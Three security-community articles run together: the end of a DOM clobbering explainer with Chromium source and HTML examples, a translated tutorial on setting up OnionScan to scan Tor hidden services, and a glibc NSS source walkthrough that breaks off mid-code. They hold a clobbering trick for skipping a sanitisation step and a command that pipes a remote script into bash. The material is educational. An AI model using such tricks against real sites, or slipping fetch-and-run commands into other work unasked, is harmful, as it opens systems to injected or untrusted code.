String CookieJar::Cookies() {
KURL cookie_url = document_->CookieURL();
if (cookie_url.IsEmpty())
return String();
RequestRestrictedCookieManagerIfNeeded();
String value;
backend_->GetCookiesString(cookie_url, document_->SiteForCookies(),
document_->TopFrameOrigin(), &value);
return value;
}
以及，虽然 cookie 不能被完全字符串化控制，但是可以被 Clobbered 的问题在2年前也有人报告过这个相关的问题 [document.cookie
DOM property can be clobbered using DOM node named
cookie](https://bugzilla.mozilla.org/show_bug.cgi?id=1420032)
只不过目前的主流浏览器都是"Safari, Chrome and Firefox all behave the same here"。
### Document Collection
涉及到 Collection 的 Document 部分：
[DocumentNameCollection::ElementMatches](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/html/document_name_collection.cc;l=24?originalUrl=https:%2F%2Fcs.chromium.org%2F)
bool DocumentNameCollection::ElementMatches(const HTMLElement& element) const {
// Match images, forms, embeds, objects and iframes by name,
// object by id, and images by id but only if they have
// a name attribute (this very strange rule matches IE)
auto* html_embed_element = DynamicTo<HTMLEmbedElement>(&element);
if (IsA<HTMLFormElement>(element) || IsA<HTMLIFrameElement>(element) ||
(html_embed_element && html_embed_element->IsExposed()))
return element.GetNameAttribute() == name_;
auto* html_image_element = DynamicTo<HTMLObjectElement>(&element);
if (html_image_element && html_image_element->IsExposed())
return element.GetNameAttribute() == name_ ||
element.GetIdAttribute() == name_;
if (IsA<HTMLImageElement>(element)) {
const AtomicString& name_value = element.GetNameAttribute();
return name_value == name_ ||
(element.GetIdAttribute() == name_ && !name_value.IsEmpty());
}
return false;
}
### Window Collection
涉及到 Collection 的 Window 部分：
[WindowNameCollection::ElementMatches](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/html/window_name_collection.cc;l=22?originalUrl=https:%2F%2Fcs.chromium.org%2F)
bool WindowNameCollection::ElementMatches(const Element& element) const {
// Match only images, forms, embeds and objects by name,
// but anything by id
if (IsA<HTMLImageElement>(element) || IsA<HTMLFormElement>(element) ||
IsA<HTMLEmbedElement>(element) || IsA<HTMLObjectElement>(element)) {
if (element.GetNameAttribute() == name_)
return true;
}
return element.GetIdAttribute() == name_;
}
## Bouns
### Tip 1 Global Scope
由于 Dom Clobbering 利用方式之一就是 hook 全局作用域下的变量，又由于 Javascript
是一门十分神奇的语言，所以我们需要注意如下几点
#### 显式声明
<script>
var a = 1;
let b = 2;
var c = function () {};
console.log(window.a); //1
console.log(window.b); //undefined
console.log(window.c); //ƒ () {}
</script>
#### 隐式声明
<script>
function test(a){
b = a + 1;
}
test(1);
console.log(window.b); //2
</script>
不带有 **声明关键字** 的变量，Javascript 会自动挂载到全局作用域上。
#### let & var
ES6 中新增了`let`命令，用来声明变量。它的用法类似于`var`，但是所声明的变量，只在`let`命令所在的代码块内有效。详细可以参考 [let
基本用法](https://es6.ruanyifeng.com/#docs/let#基本用法)
{
let a = 10;
var b = 1;
}
a // ReferenceError: a is not defined.
b // 1
上面代码在代码块之中，分别用`let`和`var`声明了两个变量。然后在代码块之外调用这两个变量，结果`let`声明的变量报错，`var`声明的变量返回了正确的值。这表明，`let`声明的变量只在它所在的代码块有效。
而且有些很奇妙的操作，比如：
let a = b = 6;
window.a; //undefined
window.b; //6
### Tip 2 Overwrite function
虽然可以 Clobber 函数，但是目前我没找到什么方法让他执行我们 Clobber
的结果，或者说目前貌似也没有办法通过标签来定义一个函数，所以只能是引起一个报错，
<img id='getElementById' name='getElementById'>
<script>
var a = document.getElementById('x'); //Uncaught TypeError: document.getElementById is not a function
</script>
虽然只能引起报错，但是在一定场景下我们可以利用这个来绕过一些判断，例如：
<img id='getElementById' name='getElementById'>
<script>
var a = document.getElementById('x'); //Uncaught TypeError: document.getElementById is not a function
//We must use sanitize a here.
</script>
<script>
//We have sanitized a. We can trust a now!
//Do something with a.
</script>
第一个 JS 代码块虽然引起了报错，但是不会引起 JS 完全停止执行，JS 会跳过这个报错的代码块，执行下一个代码块。
### Tip 3 Prototype Pollution
原型链污染可以吗？
我目前尝试的方法还没成功，如果师傅尝试成功了一定要跟我分享！
## Defence
1. 最简单的是判断每个变量预期的类型以避免非预期类型的篡改，例如，可以检查 Dom 节点的 attribute 属性是否实际上是 NamedNodeMap 的实例，这样可以确保该属性是一个 attributes 属性，而不是攻击者插入的 HTMLElement。
2. 毕竟这种攻击主要出现在全局变量这一块，所以代码规范十分重要！
3. 使用经过测试的库，例如 DOMPurify 。
## References
[DOM FLOW UNTANGLING THE DOM FOR EASY
BUGS](https://www.blackhat.com/docs/us-15/materials/us-15-Nafeez-Dom-Flow-Untangling-The-DOM-For-More-Easy-Juicy-Bugs.pdf)
[DOM Clobbering Attack](http://d1iv3.me/2018/04/11/DOM-Clobbering-Attack/)
[DOM Clobbering strikes back](https://portswigger.net/research/dom-clobbering-strikes-back)
[DOM Clobbering](http://www.thespanner.co.uk/2013/05/16/dom-clobbering/)
[Clobbering the clobbered — Advanced DOM
Clobbering](https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94)
[XSS in GMail’s AMP4Email via DOM
Clobbering](https://research.securitum.com/xss-in-amp4email-dom-clobbering/)
[DOM Clobbering Attack学习记录.md](https://wonderkun.cc/2020/02/15/DOM Clobbering
Attack学习记录)
[Im DOM hört Dich keiner schreien](https://cure53.de/dom)
[Dec 20: Sanitising HTML – the DOM clobbering
issue](https://fastmail.blog/2015/12/20/sanitising-html-the-dom-clobbering-issue/)
[谈谈 JavaScript 的作用域](https://juejin.im/post/5abb99e9f265da2392366824) | 社区文章 |
# 如何在暗网中收集公开情报资源（上集）：利用OnionScan搭建属于自己的暗网搜索引擎
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://www.automatingosint.com/blog/2016/07/dark-web-osint-with-python-and-onionscan-part-one/>
译文仅供参考，具体内容表达以及含义原文为准。
文章结构
一、暗网科普
二、自己动手，丰衣足食
三、服务器搭建－DigitalOcean Droplet虚拟服务器
四、配置运行环境－Golan和OnionScan
五、编写OnionScan封装脚本（Python）
六、运行结果
七、参考链接
**（一）、暗网科普**
Dark
Web，即暗网（又名深网）。其实它并没有我们想象中那样的神秘。暗网资源指的是哪些存储在网络数据库中，但是又不能通过普通的超链接来访问到的那一部分资源集合。据不完全统计，暗网中的网站比我们通过普通手段可以访问到的网站要多出好几个数量级。互联网比人们想象的要庞大得多，类似Google和微软Bing等搜索网引擎只收录了目前互联网中大约5%的内容。虽然这些网站是真实存在的，但是它们并没有被任何常用的搜索引擎编列索引，以至于很少有人能够找到这些网站。
在这种情况下，能够搜索到暗网资源的“特殊”搜索引擎就显得非常的“高大上”了。在此之前，美国国防部高级研究项目局（DARPA）曾开展过一个秘密项目，即Memex项目。Memex搜索引擎的核心理念就是“如何挖掘出不易被发现的东西”。DARPA于2015年4月17日正式宣布将Memex项目进行开源，这也就使得用户可以利用这些开源组件来进行高度定制化的搜索。
除了Memex之外，还有一个更加接地气的暗网搜索引擎，它就是[Onion.City](http://onion.city/)。Onion.City暗网搜索引擎使用了Tor2web代理技术，通过这种技术可以深度访问匿名Tor网络。但是Onion.City的搜索结果会涉及到地下黑市中的所有商品，包括枪支，毒品，以及盗窃所得的信用卡等非法商品。
**（二）、自己动手，丰衣足食**
看了之前的介绍，有没有想自己动手尝试来实现一个暗网资源搜索工具呢？在此之前，你可能已经听说过一款名叫[OnionScan](https://github.com/s-rah/onionscan)的工具了，这是一个非常棒的工具，你可以用它来扫描暗网中的隐藏服务，并收集一些潜在的泄漏数据。最近，该项目的研究人员对2016年6月份的暗网数据进行了分析和研究，随后便发布了一份[分析报告](https://mascherari.press/onionscan-report-june-2016/)。他们用非常炫酷的视觉效果呈现出了这些分析数据，并且还提供了一些非常详细的描述信息。但是你可能会有两个疑问：首先，该工具可以从暗网中扫描各种资源，那么他们是如何做到的呢？其次，这些炫酷的可视化效果是如何生成的呢？
首先我们需要做以下几件事：
1\. 配置一台能够7*24小时运行的服务器，并在服务器中加载我们的扫描器，因为扫描工作往往需要花费大量的时间。
2\. 在服务器上运行TOR软件。
3\. 安装OnionScan。
4\. 编写Python脚本来实现扫描过程的自动化处理，并管理扫描结果和其他的一些分析数据。
5\. 完善Python代码，提供更多的可视化操作接口。（这一部分内容将会在《如何在暗网中收集公开情报资源（下集）》中进行介绍）
那么，让我们开始吧！
**（三）、服务器搭建－DigitalOcean Droplet虚拟服务器**
如果你在Amazon的云平台上已经拥有了自己的服务器，或者你有自己的Linux服务器，那么你就可以跳过这一步骤了。如果你没有自己的服务器，那么你可以使用我的推荐链接来获取DigitalOcean服务的免费使用权（价值十美金，够用好几个月了）。如果服务到期之后你打算续费的话，那么我就会得到相应的报酬。当然了，你也可以不使用我的邀请链接，直接付费使用服务器。在整个配置过程中，我假设你安装的是Ubuntu
16.04。
1\. 首先你需要做的是，通过点击“创建Droplet（Create Droplet）”按钮来创建一个新的Droplet。
2\. 接下来，选择Ubuntu 16.04，然后选择每月五美金的套餐选项（如果你追求的是更高的性能，你也可以选择其他的套餐）。
3\. 你可以根据自己的需要来选择一个数据中心，然后在页面底部点击“创建（Create）”按钮。
点击了“创建”按钮之后，系统便会开始创建你的Droplet。随后系统便会向你发送一封电子邮件，并告知你如何去访问这台刚刚设置好的Linux服务器。如果你使用的是Mac
OS
X或者Linux系统的话，你可以打开你的“终端”，如果你使用的是Windows，那么请你在操作之前先安装Putty。（点击[这里](https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe)下载Putty）
现在，你就可以使用SSH来访问你的服务器了。使用Windows
Putty的用户可以将电子邮件中提供的服务器IP地址拷贝进来，然后按下“回车键”即可。你将会以“root”用户的身份进行登录，你只需要将电子邮件中附带的登录密码输入进去，就可以成功访问服务器了。
对于Mac OS X用户和Linux用户而言，可以在终端中输入下列命令：
ssh root@IPADDRESS
系统可能会要求你输入两次密码，然后你在登录前还需要修改之前的登录密码。当你完成这些操作之后，你就可以正常访问服务器了。
**（四）、配置运行环境－Golan和OnionScan**
在部署Python代码和OnionScan之前，我们还需要对服务器的环境进行配置。请你严格按照我们下方所给出的操作步骤进行操作，无论你使用的是Mac OS
X，还是Linux，或者是Windows，这些操作步骤都是相同的，因为这些命令全部会在服务器端运行。
当然了，你不必手动输入这些命令，复制粘贴也是可以的。每输入完一行命令之后，别忘了按下“回车键”，小心别打错命令了（注意空格和符号）。
screen
apt-get update
apt-get install tor git bison libexif-dev
apt-get install python-pip
pip install stem
现在，我们需要安装Go语言的运行环境，因为OnionScan是采用Go语言进行编写的。Ryan
Frankel此前曾发表过一篇教程（《[只需七步即可在Ubuntu上安装Go语言](http://www.hostingadvice.com/how-to/install-golang-on-ubuntu/)》），所以我在这里直接引用了这篇文章中的命令。
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
[[ -s "$HOME/.gvm/scripts/gvm" ]] && source "$HOME/.gvm/scripts/gvm"
source /root/.gvm/scripts/gvm
gvm install go1.4 —binary
gvm use go1.4
很好，我们已经安装好Golang了。现在，我们可以利用下列命令来安装OnionScan：
go get github.com/s-rah/onionscan
go install github.com/s-rah/onionscan
现在，如果你只在终端中输入
onionscan
按下“回车键”之后，你就会得到“onionscan”的命令行使用信息。如果上述命令能够成功执行的话，那么OnionScan就算安装成功了。如果你在关闭了终端之后，发现无法运行onionscan了，你可以直接输入下列命令来解决这一问题：
gvm use go1.4
这行命令应该可以解决你的问题。
现在，我们需要对TOR的配置进行一些改动，以便让我们的Python脚本能够申请到新的IP地址。我们可以利用下面这条命令来实现：
tor —hash-password PythonRocks
运行上面这条命令之后，系统将会输出一些数据。在数据的最后一行你会看到类似下面的信息：
16:3E73307B3E434914604C25C498FBE5F9B3A3AE2FB97DAF70616591AAF8
复制上面这条数据，然后输入并执行下面这行命令：
nano -w /etc/tor/torrc
这行命令会开启一个简单的文本编辑器。现在，跳转到文本的底部（按下CTRL+W,CTRL+V），然后将之前复制的那一串数据粘贴进去，并将数据补充完整：
ControlPort 9051
ControlListenAddress 127.0.0.1
HashedControlPassword 16:3E73307B3E434914604C25C498FBE5F9B3A3AE2FB97DAF70616591AAF8
现在，按下CTRL+O来写入文件，然后按下CTRL+X退出文件编辑器。现在输入下面的命令：
service tor restart
这条命令会重启TOR服务，重启之后我们的配置才会生效。请注意，如果你想要使用除“PythonRocks”以外的其他密码，你就得按照上面的步骤重新进行操作，并将“PythonRocks”替换成你的新密码。除此之外，你还需要修改部分Python代码。
现在，我们的系统环境基本上已经配置完成了。接下来，我们就可以开始着手编写一些代码了。但是现在还剩最后一步操作，就是获取我的.onion地址列表（大约有7182个地址）。这样一来，你的脚本才可以正常扫描暗网中的隐藏服务。
wget https://raw.githubusercontent.com/automatingosint/osint_public/master/onionrunner/onion_master_list.txt
我们的配置已经全部完成了，现在就可以将我们写好的Python代码部署进去了。你可以在本地环境中编写代码，如果你愿意的话你也可以选择直接在Linux服务器端进行编写，最终的效果其实是一样的。我个人比较喜欢在自己的本地计算机中使用[WingIDE](https://www.wingide.com/)来编写Python脚本。
关于“screen”命令
你可能已经发现了，在运行上面这些命令之前，都需要先执行“screen”命令。如果你与服务器的连接意外断开了，这条命令可以帮助你保持通信会话的连接状态。
**（五）、编写OnionScan封装脚本（Python）**
虽然OnionScan是一款非常优秀的工具，但是我们还需要对其进行系统化的控制，并根据我们的具体需求来处理扫描结果。除此之外，由于TOR连接有时会非常不稳定，所以我们还需要终止一些无法继续运行的处理过程，并从TOR网络中获取新的IP地址。现在，我们可以新建一个Python文件，然后将其命名为“onionrunner.py”。由于篇幅有限，原文对该脚本的代码进行了较为详细的描述，感兴趣的读者可以阅读原文。在此，我们仅提供了该脚本的[下载地址](https://raw.githubusercontent.com/automatingosint/osint_public/master/onionrunner/onionrunner.py)。
这个脚本的代码量非常大，但是你可以从中学到很多新的Python编码技巧。当然了，你也可以采用这种封装技巧来对其他的扫描软件进行封装。
**（六）、运行结果**
现在，我们可以通过下面这条命令来运行“onionrunner.py”脚本：
python onionrunner.py
运行之后，你将会得到如下图所示的输出数据：
打开“onionscan_result”目录之后，你将会看到一个json文件，该文件会以OnionScan所扫描到的隐藏服务名称来命名。只要你有足够的耐心，你可以让这个程序一直运行下去。在下集，我们将会给大家介绍如何去处理这些json文件，并通过可视化效果来呈现出这些数据。
如果你已经迫不及待地想要获取到所有数据的话，你可以点击[这里](https://github.com/automatingosint/osint_public/tree/master/onionrunner)下载所有的扫描结果（总共有8167条扫描结果）。
**（七）、参考链接**
1.OnionScan项目的Github主页：
<https://github.com/s-rah/onionscan>
2.OnionScan的暗网分析报告（2016年6月）：
<https://mascherari.press/onionscan-report-june-2016/>
3.WingIDE官方网站：
<https://www.wingide.com/>
4.Putty下载地址：
<https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe>
5.《只需七步即可在Ubuntu上安装Go语言》：
<http://www.hostingadvice.com/how-to/install-golang-on-ubuntu/>
6.onionrunner.py文件源码下载地址：
<https://raw.githubusercontent.com/automatingosint/osint_public/master/onionrunner/onionrunner.py>
7.完整的扫描结果（总共有8167条结果数据）：
<https://github.com/automatingosint/osint_public/tree/master/onionrunner>
8.Memex项目简介：
<http://www.darpa.mil/program/memex>
9.Onion.City：
<http://onion.city/> | 社区文章 |
# NSSwitch源码分析与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
我们以getwuid()为例子探究glibc中是怎么实现NSS机制的, 其他函数都是同一个模板只是参数不同罢了
看本文之前最好先了解下NSS是什么, 有什么用
## nsswitch.conf文件
* 格式: `Info: method[[action]] [method[[action]]...]`
* 该nsswitch.conf文件本质上是一个包含 16 种类型的信息以及getXXbyYY() 例程搜索该信息的来源的列表。16 类信息（不一定按此顺序）如下所示。
> aliases
>
> bootparams
>
> ethers
>
> group
>
> hosts
>
> ipnodes
>
> netgroup
>
> netmasks
>
> networks
>
> passwd (includes shadow information)
>
> protocols
>
> publickey
>
> rpc
>
> services
>
> automount
>
> sendmailvars
* 下表提供了可在上述信息类型的开关文件中列出的源种类的说明。
> files: 保存在/etc目录下的文件, eg: /etc/passwd
>
> nisplus: 一个NIS+表, 例如host表
>
> nis: 一个NIS映射, 例如host 映射
>
> compat: 兼容可以被password和group信息使用以支持老式的/etc/passwd, /etc/shadow和/etc/group文件
>
> dns: 可用于指定从 DNS 获取主机信息
>
> ldap: 可用于指定从 LDAP 目录中获取的条目
* 以下面这个为例子
* nsswitch.conf每一行可以当做是一个数据库. 例如passwd表示: 所有passwd的查询都要遵循这种查找方式
* 冒号后面的称为数据来源或者服务, 规定了查找方法的规范. 例如: files ldap表示先通过本地文件搜索, 如狗没有的话就通过ldap这一网络协议搜索
* 对于每个可用的服务SERVICE, 都必须有对应的模块`/lib/libnss_SERVICE.so.1`
* 并且每个模块中都有同一个数据查询接口, 只是各自的实现不同.
* 这样查询时就可以很方便的根据nsswitch.conf中指定的服务加载对应的模块, 然后调用模块中的查询函数处理请求
> # /etc/nsswitch.conf
> passwd: files ldap
## 函数简介
* 作用: 获取password文件条目
#include <sys/types.h>
#include <pwd.h>
struct passwd *getpwnam(const char *name);
struct passwd *getpwuid(uid_t uid);
int getpwnam_r(const char *name, struct passwd *pwd,
char *buf, size_t buflen, struct passwd **result);
int getpwuid_r(uid_t uid, struct passwd *pwd,
char *buf, size_t buflen, struct passwd **result);
* getpwnam()函数返回一个指针，指向包含在密码数据库中的记录（例如，本地密码文件的断开的字段的结构/ etc / passwd中，NIS和LDAP）相匹配的用户名的名称。
* 所述getpwuid（）函数返回一个指针，指向包含在该用户ID相匹配的口令的数据库的记录的断开的字段的结构的UID。
* 所述的passwd结构定义在< pwd.h >如下：
struct passwd {
char *pw_name; /* 用户名 */
char *pw_passwd; /* 用户密码 */
uid_t pw_uid; /* 用户 ID */
gid_t pw_gid; /* 组 ID */
char *pw_gecos; /* 用户信息 */
char *pw_dir; /* 主目录 */
char *pw_shell; /* 外壳程序 */
};
* 所述getpwnam_r()和getpwuid_r()函数获得与getpwnam()和getpwuid()相同的信息，但存储检索 的passwd在空间结构由指向PWD。passwd结构的成员指向的字符串字段存储在大小为buflen的缓冲区buf中。指向结果（如果成功）或 NULL（如果未找到条目或发生错误）的指针存储在 *result 中。
## getpwuid()
* 定义在pwd\/getpwuid.c文件中, 与gethostbyname()类似, 都是通过宏定义一些变量, 然后包含一个模板c文件展开为真正的宏定义.
#include <pwd.h>
#define LOOKUP_TYPE struct passwd //要查找的数据类型
#define FUNCTION_NAME getpwuid //函数名
#define DATABASE_NAME passwd //数据库名
#define ADD_PARAMS uid_t uid //参数
#define ADD_VARIABLES uid //变量
#define BUFLEN NSS_BUFLEN_PASSWD //缓冲区长度
#include "../nss/getXXbyYY.c"
* 这个函数模板简化后如下, 其主要功能就是分配缓冲区, 然后调用可重入版本的函数getpwuid_r()
LOOKUP_TYPE* FUNCTION_NAME(ADD_PARAMS)
{
static size_t buffer_size;
static LOOKUP_TYPE resbuf;
LOOKUP_TYPE* result;
/* Get lock. */
__libc_lock_lock(lock);
if (buffer == NULL) //分配缓冲区
{
buffer_size = BUFLEN;
buffer = (char*)malloc(buffer_size);
}
//调用可重入函数: getpwuid_r(uid, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR)
while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)
) {
//如果可重入函数表示缓冲区不够大, 就两倍扩张
char* new_buf;
buffer_size *= 2;
new_buf = (char*)realloc(buffer, buffer_size);
if (new_buf == NULL) {
free(buffer);
__set_errno(ENOMEM);
}
buffer = new_buf;
}
if (buffer == NULL)
result = NULL;
/* Release lock. */
__libc_lock_unlock(lock);
return result;
}
## 相关结构体
* `service_library`用于描述一个打开的模块
typedef struct service_library {
const char* name; //模块名(`files', `dns', `nis', ...)
void* lib_handle; //模块的句柄, 也就是dlopen()返回的指针
struct service_library* next; //链表指针
} service_library;
* `known_function`用于缓存一个查询, 保存了函数名到函数指针的映射
typedef struct
{
const char* fct_name; //函数名
void* fct_ptr; //函数指针
} known_function; //已知的函数
* 对于`/etc/nsswitch.con`中描述的每种服务都通过`service_user`描述, 同一数据库中的多个服务通过`service_user->next`指针以单链表的形式组织起来
typedef struct service_user {
struct service_user* next; //链表指针
lookup_actions actions[5]; /* Action according to result. */
service_library* library; //这个服务对应的模块, 也就是动态链接库libnss_SERVICE.so.1
void* known; //指向一个搜索的树根, 这个搜索树保存了之前搜索过的函数名, 当做缓存用
char name[0]; //这个服务的名字 (`files', `dns', `nis', ...)
} service_user;
* 每个数据库, 也就是`/etc/nsswitch.con`中的一行, 都通过`name_database_entry`描述, 多个数据库通过`next`指针以单链表的形式组织
typedef struct name_database_entry {
struct name_database_entry* next; //链表指针, 指向下一个数据库
service_user* service; //这个数据库所有服务
char name[0]; //数据库名, 字符串紧接着上一个字段, 同属于一个chunk
} name_database_entry;
* 一个系统中完整的命名数据库用`name_database`表示, `entry`是一个二维链表头指针, 第一个纬度是各个数据库, 第二个纬度是每个数据库的各种服务(数据来源)
typedef struct name_database {
name_database_entry* entry; //所有数据库组织的单链表
service_library* library; //所有的服务模块组成的单链表
} name_database;
## getpwuid_r()
* 这个函数定义在nss\/getpwuid_r.c中, 也是通过包含模板文件展开得到函数定义的
#include <pwd.h>
#define LOOKUP_TYPE struct passwd
#define FUNCTION_NAME getpwuid
#define DATABASE_NAME passwd
#define ADD_PARAMS uid_t uid
#define ADD_VARIABLES uid
#define BUFLEN NSS_BUFLEN_PASSWD
#include <nss/getXXbyYY_r.c>
* 简化后的函数模板如下, 主要就是两步: 先从数据库中找到对应处理函数, 再调用这个处理函数
int INTERNAL(REENTRANT_NAME)(ADD_PARAMS, LOOKUP_TYPE* resbuf, char* buffer, size_t buflen, LOOKUP_TYPE** result H_ERRNO_PARM EXTRA_PARAMS)
{
//每个命名搜索函数都有下面这组静态变量用于缓存上次搜索结果
static bool startp_initialized; //是否初始化过
static service_user* startp; //本搜索函数对应的服务链表
static lookup_function start_fct; //本搜索函数对应的第一个处理函数
service_user* nip;
int do_merge = 0;
LOOKUP_TYPE mergegrp;
char* mergebuf = NULL;
char* endptr = NULL;
union {
lookup_function l;
void* ptr;
} fct; //查找函数
int no_more, err;
enum nss_status status = NSS_STATUS_UNAVAIL;
//通过守护进程查询缓存
...;
if (!startp_initialized) { //如果还没有初始化
/*
- 宏展开为:__GI___nss_passwd_lookup2()
- 先根据/etc/nsswitch.conf找到命名数据库, 再根据数据库名找到这个数据库的所有服务
- nip中存放了所有可查询数据源 fct指向当前数据源的查询函数
*/
no_more = DB_LOOKUP_FCT(&nip, REENTRANT_NAME_STRING,REENTRANT2_NAME_STRING, &fct.ptr);
if (no_more) {
void* tmp_ptr = (service_user*)-1l;
startp = tmp_ptr;
} else {
//写入搜索结果, 这样就不用每次都搜索nsswitch.conf文件了
void* tmp_ptr = fct.l;
start_fct = tmp_ptr;
tmp_ptr = nip;
startp = tmp_ptr;
}
atomic_write_barrier();
startp_initialized = true;
} else { //如果已经初始化过就遍历上次记录了服务链表搜索
fct.l = start_fct;
nip = startp;
no_more = nip == (service_user*)-1l;
}
while (no_more == 0) {
//调用函数查询函数, 宏展开结果会先调用__GI__dl_mcount_wrapper_check(), 然后调用fct里面保存的函数指针, fct.l(...)
status = DL_CALL_FCT(fct.l, (ADD_VARIABLES, resbuf, buffer, buflen, &errno H_ERRNO_VAR EXTRA_VARIABLES));
//如果查询返回NSS_STATUS_TRYAGAIN 并且errno为ERANGE, 就说明提供的缓冲区太小了, 直接结束, 让调用者重新分配缓冲区
if (status == NSS_STATUS_TRYAGAIN
&& errno == ERANGE)
break;
//前后结果合并部分
...;
//本数据源中没找到, 切换到下一个数据源, no_more表示还有没有剩下的数据源
no_more = __nss_next2(&nip, REENTRANT_NAME_STRING, REENTRANT2_NAME_STRING, &fct.ptr, status, 0);
}
free(mergebuf);
mergebuf = NULL;
//写入返回结果
*result = status == NSS_STATUS_SUCCESS ? resbuf : NULL;
//设置返回值
int res;
if (status == NSS_STATUS_SUCCESS || status == NSS_STATUS_NOTFOUND)
res = 0;
/* Don't pass back ERANGE if this is not for a too-small buffer. */
else if (errno == ERANGE && status != NSS_STATUS_TRYAGAIN)
res = EINVAL;
else
return errno;
__set_errno(res);
return res;
}
* 我们不关注getpwuid()具体是怎么实现的, 我们只是以getpwuid()为例子, 着重于glibc中是怎么通过NSS机制确定处理函数的, 因此下面要研究`DB_LOOKUP_FCT()`的实现
* `DB_LOOKUP_FCT()`是一个宏, 会展开为`__GI___nss_passwd_lookup2()`, 调用现场如下
## __nss_passwd_lookup2()
* 函数定义在nss\/pwd-lookup.c中, 是通过DB_LOOKUP_FCT这个宏展开得到函数定义的
#define DATABASE_NAME passwd //要查询的数据库名
#ifdef LINK_OBSOLETE_NSL
# define DEFAULT_CONFIG "compat [NOTFOUND=return] files"
#else
# define DEFAULT_CONFIG "files" //默认配置
#endif
#include "XXX-lookup.c"
* DB_LOOKUP_FCT()定义如下
/*
- 在数据库中搜索fct_name对应的函数, 要查找的数据库名通过宏DATABASE_NAME_STRING确定
- 参数:
- ni: 结果参数, 数据库对应所有服务
- fct_name: 在服务中需要查找的函数名
- fct2_name: 如果fct_name没找到对应函数的话就会用这个去寻找
- fctp: 结果参数, 存放找到的函数指针
*/
int DB_LOOKUP_FCT(service_user** ni, const char* fct_name, const char* fct2_name, void** fctp)
{
//根据数据库名找到对应服务
if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup(DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0)
return -1;
*ni = DATABASE_NAME_SYMBOL;
//再加载服务对应的模块, 在模块中寻找对应处理函数
return __nss_lookup(ni, fct_name, fct2_name, fctp);
}
* 调用`__nss_database_lookup()`的现场如下
* 对于`__nss_lookup()`调用现场如下
## _nss_database_lookup()
* 函数定义如下:
/*
- 解析/etc/nsswitch.conf文件, 生成一个service_table对象, 里面以链表的形式保存每个数据库及其数据源
- 参数:
- database: 要查询的数据库名
- alternate_name: 数据库别名
- deconfig: 数据库默认配置
- ni: 结果参数, 存放这个数据库的所有服务
*/
int __nss_database_lookup(const char* database, const char* alternate_name, const char* defconfig, service_user** ni)
{
/* service_table是临界资源, 多线程下必须上锁 */
__libc_lock_lock(lock);
if (*ni != NULL) {
__libc_lock_unlock(lock);
return 0;
}
/* service_table保存了当前系统所有命名数据库的信息, 是一个全局变量 */
if (service_table == NULL)
service_table = nss_parse_file(_PATH_NSSWITCH_CONF); //解析/etc/nsswitch.conf文件
//解析成功
if (service_table != NULL) {
name_database_entry* entry;
// 遍历数据库条目组成的链表, 找与database匹配的
for (entry = service_table->entry; entry != NULL; entry = entry->next)
if (strcmp(database, entry->name) == 0)
*ni = entry->service;
//如果database没找到就试一试别名
if (*ni == NULL && alternate_name != NULL)
for (entry = service_table->entry; entry != NULL; entry = entry->next)
if (strcmp(alternate_name, entry->name) == 0)
*ni = entry->service;
}
//没能找到对应配置文件, 就尝试使用默认配置文件
if (*ni == NULL) {
...;
}
__libc_lock_unlock(lock);
return *ni != NULL ? 0 : -1;
}
libc_hidden_def(__nss_database_lookup)
* 其中`nss_parse_file()`就是打开`/etc/nsswitch.conf`然后逐行解析并构建对应链表项, 对于passwd数据库, 解析后结果如下. 注意: 这里仅仅只是字符串的解析与复制, 并没有真的打开对应文件.
## __nss_lookup()
* `__nss_lookup()`会在服务链表ni中搜索名为fct_name的处理函数, 当fct_name搜索失败时, 搜索fct2_name, 把找到的函数指针写入fctp中
int __nss_lookup(service_user** ni, const char* fct_name, const char* fct2_name, void** fctp)
{
//先尝试在第一个服务中搜索fct_name
*fctp = __nss_lookup_function(*ni, fct_name);
//没找到的话就试试fct2_name
if (*fctp == NULL && fct2_name != NULL)
*fctp = __nss_lookup_function(*ni, fct2_name);
//如果还是没找到的话 && 在没找到时运行继续查找 && 存在下一个服务 =>就在下一个服务中寻寻找
while (*fctp == NULL && nss_next_action(*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE && (*ni)->next != NULL) {
*ni = (*ni)->next; //*ni现在指向下一个服务
//根据fct_name搜索
*fctp = __nss_lookup_function(*ni, fct_name);
//没找到的话就试试fct2_name
if (*fctp == NULL && fct2_name != NULL)
*fctp = __nss_lookup_function(*ni, fct2_name);
}
return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def(__nss_lookup)
* 显然, `__nss_lookup()`依赖于`__nss_lookup_function()`, 我们以第一次调用为例子进行研究, 其调用现场如下
## __nss_lookup_function()
* 整理后函数定义如下.每个服务对象`service_user`都有一个搜索数作为缓存, `__nss_lookup_function()`会先尝试从搜索树中查询, 如果找不到再尝试加载模块文件然后在文件中搜索函数符号的地址
//根据数据源ni, 返回符号为fct_name的函数的地址
void* __nss_lookup_function(service_user* ni, const char* fct_name)
{
void **found, *result;
/* We now modify global data. Protect it. */
__libc_lock_lock(lock);
/*
- 先前搜索过的函数都保存在一个搜索树中, 作为缓存
- 搜索数的树根为ni->known
- 该搜索树的节点都有一个指向known_function对象的指针
- 该树以known_function对象中的函数名fct_name为键对节点进行排序
- known_function对象中fct_ptr为节点的值
- 成功搜索到时__tserach会返回对应节点
- 搜索失败时会以fct_name为键向搜索数中插入一个节点并返回, 如果要缓存搜索结果的话只需要设置这个节点的know_function指针, 而不用再搜索一次
*/
found = __tsearch(&fct_name, &ni->known, &known_compare);
if (found == NULL) //溢出
result = NULL;
else if (*found != &fct_name) { //成功在缓存中找到, 返回对应的函数指针
/*
- 在这个服务的缓存中寻找fct_name对应的函数
- 如果树中没找到就会插入一个新节点, 新节点->key = &fct_name
